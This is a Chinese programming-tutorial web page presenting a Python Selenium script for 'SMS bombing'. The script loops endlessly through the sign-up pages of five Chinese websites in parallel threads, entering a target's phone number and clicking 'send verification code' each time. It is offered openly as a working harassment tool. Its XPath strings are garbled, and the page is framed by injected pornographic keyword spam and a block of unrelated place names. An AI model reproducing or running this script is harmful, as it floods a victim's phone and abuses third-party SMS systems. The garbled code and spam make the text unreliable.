最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python短信轟炸的代碼

 更新時(shí)間:2020年03月25日 14:26:03   作者:小小鳥敲代碼  
這篇文章主要介紹了Python短信轟炸的代碼,代碼簡(jiǎn)單易懂,對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

環(huán)境 python3.0

工具 pycharm

谷歌插件chromedriver

程序執(zhí)行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轟炸的電話號(hào)碼
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  發(fā)送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面這行是剛剛敘說的chromedrive的安裝路徑

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "http://button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='手機(jī)號(hào)']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "http://button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "http://a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("http://input[@placeholder='請(qǐng)輸入您的手機(jī)號(hào)碼']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("http://button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "http://input[@placeholder='請(qǐng)輸入手機(jī)號(hào)碼']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "http://input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "http://a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("http://a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "http://input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "http://a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "http://input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "http://input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "http://a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

執(zhí)行放發(fā)

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品會(huì)",))
suning = Thread(target=hongzha.suning,args=("蘇寧",))
yhd= Thread( target=hongzha.yhd,args=("一號(hào)店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

總結(jié)

到此這篇關(guān)于Python短信轟炸的代碼的文章就介紹到這了,更多相關(guān)Python短信轟炸內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 詳解Python獲取線程返回值的三種方式

    詳解Python獲取線程返回值的三種方式

    提到線程,你的大腦應(yīng)該有這樣的印象:我們可以控制它何時(shí)開始,卻無法控制它何時(shí)結(jié)束,那么如何獲取線程的返回值呢?今天就和大家分享一下一些做法
    2022-07-07
  • python-docx 頁面設(shè)置詳解

    python-docx 頁面設(shè)置詳解

    今天小編就為大家分享一篇python docx 中頁面的設(shè)置,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2021-10-10
  • 零基礎(chǔ)寫python爬蟲之爬蟲框架Scrapy安裝配置

    零基礎(chǔ)寫python爬蟲之爬蟲框架Scrapy安裝配置

    Scrapy是一個(gè)使用Python編寫的,輕量級(jí)的,簡(jiǎn)單輕巧,并且使用起來非常的方便。使用Scrapy可以很方便的完成網(wǎng)上數(shù)據(jù)的采集工作,它為我們完成了大量的工作,而不需要自己費(fèi)大力氣去開發(fā)。
    2014-11-11
  • Python中可變和不可變對(duì)象的深入講解

    Python中可變和不可變對(duì)象的深入講解

    python與C/C++不一樣,它的變量使用有自己的特點(diǎn),學(xué)python的時(shí)候一定要記住一切皆為對(duì)象,一切皆為對(duì)象的引用,這篇文章主要給大家介紹了關(guān)于Python中可變和不可變對(duì)象的相關(guān)資料,需要的朋友可以參考下
    2021-07-07
  • Django通過設(shè)置CORS解決跨域問題

    Django通過設(shè)置CORS解決跨域問題

    這篇文章主要介紹了Django 通過設(shè)置CORS解決跨域問題,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 淺談flask源碼之請(qǐng)求過程

    淺談flask源碼之請(qǐng)求過程

    這篇文章主要介紹了淺談flask源碼之請(qǐng)求過程,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2018-07-07
  • windows10安裝python依賴報(bào)錯(cuò)can‘t?create?or?remove?files?in?install?directory問題

    windows10安裝python依賴報(bào)錯(cuò)can‘t?create?or?remove?files?in?i

    這篇文章主要介紹了windows10安裝python依賴報(bào)錯(cuò)can‘t?create?or?remove?files?in?install?directory問題及解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助
    2023-09-09
  • 使用Python編寫vim插件的簡(jiǎn)單示例

    使用Python編寫vim插件的簡(jiǎn)單示例

    這篇文章主要介紹了使用Python編寫vim插件的簡(jiǎn)單教程,文中舉了一個(gè)獲取reddit首頁信息并顯示在緩沖區(qū)中的例子,需要的朋友可以參考下
    2015-04-04
  • Python Pandas處理CSV文件的常用技巧分享

    Python Pandas處理CSV文件的常用技巧分享

    這篇文章主要和大家分享幾個(gè)Python Pandas中處理CSV文件的常用技巧,如:統(tǒng)計(jì)列值出現(xiàn)的次數(shù)、篩選特定列值、遍歷數(shù)據(jù)行等,需要的可以參考一下
    2022-06-06
  • python中對(duì)%、~含義的解釋

    python中對(duì)%、~含義的解釋

    這篇文章主要介紹了python中對(duì)%、~含義的解釋,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-05-05

最新評(píng)論

华阴市| 辰溪县| 搜索| 日照市| 荥经县| 福贡县| 志丹县| 江津市| 额尔古纳市| 临清市| 来宾市| 棋牌| 翁牛特旗| 林甸县| 深州市| 百色市| 徐汇区| 临泉县| 玉环县| 岫岩| 桂东县| 景宁| 阳城县| 伊吾县| 姜堰市| 柘城县| 镇雄县| 曲水县| 靖边县| 水富县| 福泉市| 宿州市| 时尚| 义马市| 长岛县| 黄山市| 班玛县| 工布江达县| 驻马店市| 辛集市| 渝北区|